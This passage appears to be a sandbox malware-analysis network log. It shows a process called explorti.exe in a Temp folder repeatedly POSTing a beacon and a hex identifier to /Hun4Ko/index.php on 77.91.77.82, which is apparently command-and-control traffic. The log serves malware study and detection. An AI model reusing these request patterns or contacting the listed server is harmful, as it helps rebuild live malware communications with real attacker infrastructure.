Jun 27, 2024 19:27:23.386065006 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49737	77.91.77.82	80	2820	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 19:27:23.499814034 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 19:27:24.228189945 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 19:27:24.232640982 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 19:27:24.456100941 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49738	77.91.77.82	80	2820	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 19:27:24.580028057 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 19:27:25.400549889 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 19:27:25.402393103 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 19:27:25.620678902 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49739	77.91.77.82	80	2820	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 19:27:25.735191107 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 19:27:26.460971117 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 19:27:26.461807966 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 19:27:26.689989090 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49740	77.91.77.82	80	2820	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 19:27:26.796581030 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 19:27:27.483588934 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 19:27:27.484265089 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 19:27:27.715418100 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49741	77.91.77.82	80	2820	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 19:27:27.827918053 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 19:27:28.542422056 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 19:27:28.543140888 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 19:27:28.768691063 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49742	77.91.77.82	80	2820	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 19:27:28.890955925 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 19:27:29.582705021 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 19:27:29.583724976 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 19:27:29.801342964 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49743	77.91.77.82	80	2820	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 19:27:29.922636986 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 19:27:30.625206947 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 19:27:30.625878096 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 19:27:30.853590965 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49744	77.91.77.82	80	2820	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 19:27:30.970000029 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 19:27:31.657011986 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 19:27:31.659673929 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 19:27:31.876090050 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49745	77.91.77.82	80	2820	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 19:27:31.992331028 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 19:27:32.696232080 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 19:27:32.697030067 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 19:27:32.920213938 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49746	77.91.77.82	80	2820	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 19:27:33.031783104 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 19:27:33.746764898 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 19:27:33.749111891 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 19:27:33.977214098 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49747	77.91.77.82	80	2820	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 19:27:34.093766928 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 19:27:34.781985998 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 19:27:34.787843943 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 19:27:35.004739046 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49748	77.91.77.82	80	2820	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 19:27:35.125134945 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 19:27:35.833867073 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 19:27:35.834673882 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 19:27:36.060611963 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49749	77.91.77.82	80	2820	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 19:27:36.171551943 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 19:27:36.897010088 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
